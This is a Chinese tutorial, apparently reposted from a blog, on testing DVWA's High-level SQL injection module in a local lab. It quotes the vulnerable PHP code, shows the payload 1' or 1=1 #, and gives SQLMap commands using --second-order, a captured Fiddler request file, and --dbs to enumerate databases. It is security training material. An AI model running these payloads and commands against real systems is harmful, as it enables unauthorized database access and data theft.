(九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)
一、测试需求分析
测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能
防御等级:High
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工+Fiddler+ SQLMap工具
url: http://localhost:8001/dvwa/vulnerabilities/sqli/

session-input.php代码
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];
if( isset( $_POST[ 'id' ] ) ) {
$_SESSION[ 'id' ] = $_POST[ 'id' ];
//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}
$page[ 'body' ] .= "
<form action=\"#\" method=\"POST\">
<input type=\"text\" size=\"15\" name=\"id\">
<input type=\"submit\" name=\"Submit\" value=\"Submit\">
</form>
<hr />
<br />
<button onclick=\"self.close();\">Close</button>";
dvwaSourceHtmlEcho( $page );
?>
防御等级为High的后端控制代码:
high.php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High、Medium、Low三个防御等级比较:
| 差异点 | High | Medium | Low |
|---|---|---|---|
| 1. 字符转义 | mysqli_real_escape_string() | ||
| 2. query参数 | user_id = '$id' LIMIT 1 | user_id = $id | user_id = '$id' |
| 3. 参数请求 | id =$_POST[ 'id' ] | id =$_REQUEST[ 'id' ] | |
| 4.查询提交&显示 | 提交、显示-页面分离控制 | 提交、显示-页面合一 | 提交、显示-页面合一 |
从以上对比分析:
- High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
- High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:
--second-order="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能 - High级别前端用户提交的id值是首先传入到服务端存储到Session文件中,然后再调用给其他需要该id的地方使用。如PhpStudy+DVWA搭建的环境中,Session文件是存储在服务器根目录下的temp二级文件夹下(
...\tmp\tmp):

- High级别的query语句中增加了
LIMIT 1,以此来控制每次常规查询方式只会输出一个结果的记录;不过通过非常规方式,利用注释符#注释掉LIMIT 1的限制,也可以查询出多个结果记录,如1' or 1=1 # - High级别的query语句中id传值并没有对特殊符号(如:单引号
')进行转义or限制传递,若采用手工注入方式,则和Low级别的操作流程相似,并不复杂;从以上分析来看,High级别主要是一定长度上限制自动化扫描测试工具SQLMap的常规操作
二、判断注入点&注入类型、获取数据库数据
1.手工方式注入检测
手工操作方式,可参看==>手工测试DVWA之SQL注入漏洞-详细解析(防御: Low) 中的第三步[获取数据库信息]的具体步骤,此处从略
2.利用SQLMap工具注入测试
1)预测试检验
按照以往SQLMap常规的操作方式,首先要后去cookie信息、POST请求体中的Form data数据

构造对应的SQLMap命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch
指向命令的效果:

以上,说明按照常规的SQLMap操作方式已不能判断此种场景(查询数据提交、结果显示分别在2各个不同的页面中)下的注入点,这种操作是针对提交数据和返回数据都在同一个页面的场景
2)调整策略测试
重新调整策略,在同一个SQLMap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-order="xxxurl"(设置二阶响应的结果显示页面的url)一起尝试测试,具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能
方式1:
构造符合条件的SQLMap命令:
--url="查询数据提交时的页面1的url",或用-u "xxxurl"
--second-order="结果显示的页面2的url"
python2 sqlmap.py --url="http://localhost:8001/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch
查看执行效果:

此时已可注入测试成功,判断出注入点的参数和注入的类型。后续列出数据库数据的操作,只需要在以上有效的SQLMap操作命令末尾添加需要获取不同数据的命令即可,如获取DBMS中的所有数据库名称,SQLMap命令为:
python2 sqlmap.py --url="http://localhost:8001/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch --dbs
具体可参看==>SQLMap工具检测DVWA之SQL注入漏洞(防御: Low) 中第二步获取数据库信息的步骤[2-10],此处从略
方式2:
利用Fiddler抓取数据提交前后的数据包,在浏览器中提前设置好系统代理的方式,以便于Fiddler抓取数据

将提交数据时的数据包抓取(Inspectors-->Raw),将POST请求的数据复制到txt文本进行保存并命名,如sqli.txt。然后将其存放在某个路径下,后面会用到路径目录

构造SQLMap操作命令:
-r "REQUESTFILE" ==>从文件中加载HTTP请求。
sqli.txt文件中对应是查询数据提交时的POST数据包的内容,其中已经包含有cookie信息、以及POST请求体中的Form data数据,所以命令中不需要单独在写
python2 sqlmap.py -r "X:\...\WWW\dvwa\vulnerabilities\sqli\sqli.txt" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --batch
查看指向效果:
同样的可以获取到注入点的参数和注入类型
作者:Fighting_001
链接:https://www.jianshu.com/p/e263ea40fe25
来源:简书
(九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)的更多相关文章
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解
0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
- DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)
上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...
随机推荐
- Vue+Vuex 实现自动登录功能
刚刚实现了Vue+Vuex的自动登录功能,在实现的时候遇到了一些问题,这里记录一下: 因为这个还不够完善,在写完下列代码后,又进行了补充,可以从https://www.cnblogs.com/xiao ...
- React:List and key
在React中,可以通过数组方法返回一组 组件元素,并将该数组作为render()的js插值. function NumberList(props) { const numbers = props.n ...
- Django之JSON数据格式
JSON简介: o JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation) o JSON 是轻量级的文本数据交换格式 o JSON ...
- Django之MTV模式
MTV与MVC+url控制器 MVC框架: · M:model.py 就是和数据库打交道用的,创建表等操作 · V:View 视图(视图函数:逻辑处理响应函数,ht ...
- 如何在没有core文件的情况下用dmesg+addr2line定位段错误
前言 在现网环境下,程序奔溃后不一定会留下core文件,原因有很多,比如存储空间不足就是其中一个常见的原因.此时我们只能依据linux记录的错误日志来定位问题. 涉及linux命令 本文涉及以下几条命 ...
- redis 主从哨兵01
主从复制过程 1.从服务器开始连接主服务器时,会向主服务器发送一个SYNC同步命令 2.主服务器接收到命令后,执行BGSAVE,异步的将写命令保存到一个缓冲区里 3.主服务器执行完BGSAVE之后,就 ...
- jsp 循环数字
<c:forEach var ="i" begin="1" end="${homeexamque.optionNum}" step=& ...
- 苏浪浪 201771010120 《面向对象程序设计(java)》第9周学习总结
实验九异常.断言与日志 实验时间 2018-10-25 1.实验目的与要求 (1) 掌握java异常处理技术: (2) 了解断言的用法: (3) 了解日志的用途: (4) 掌握程序基础调试技巧: 2. ...
- GYM101635E Ingredients
题目链接:https://vjudge.net/problem/Gym-101635E 题目大意: 给定一个有 \(N\) 条边的有向无环图(有多个起点),每条边都有其费用和收益,现要从一个或多个起点 ...
- web项目——启动时tomcat报错:Server Tomcat v7.0 Server at localhost failed to start.
报错信息:Server Tomcat v7.0 Server at localhost failed to start. 报错截图: 原因分析:在使用SSM框架时,生成的mapping与系统配置文件不 ...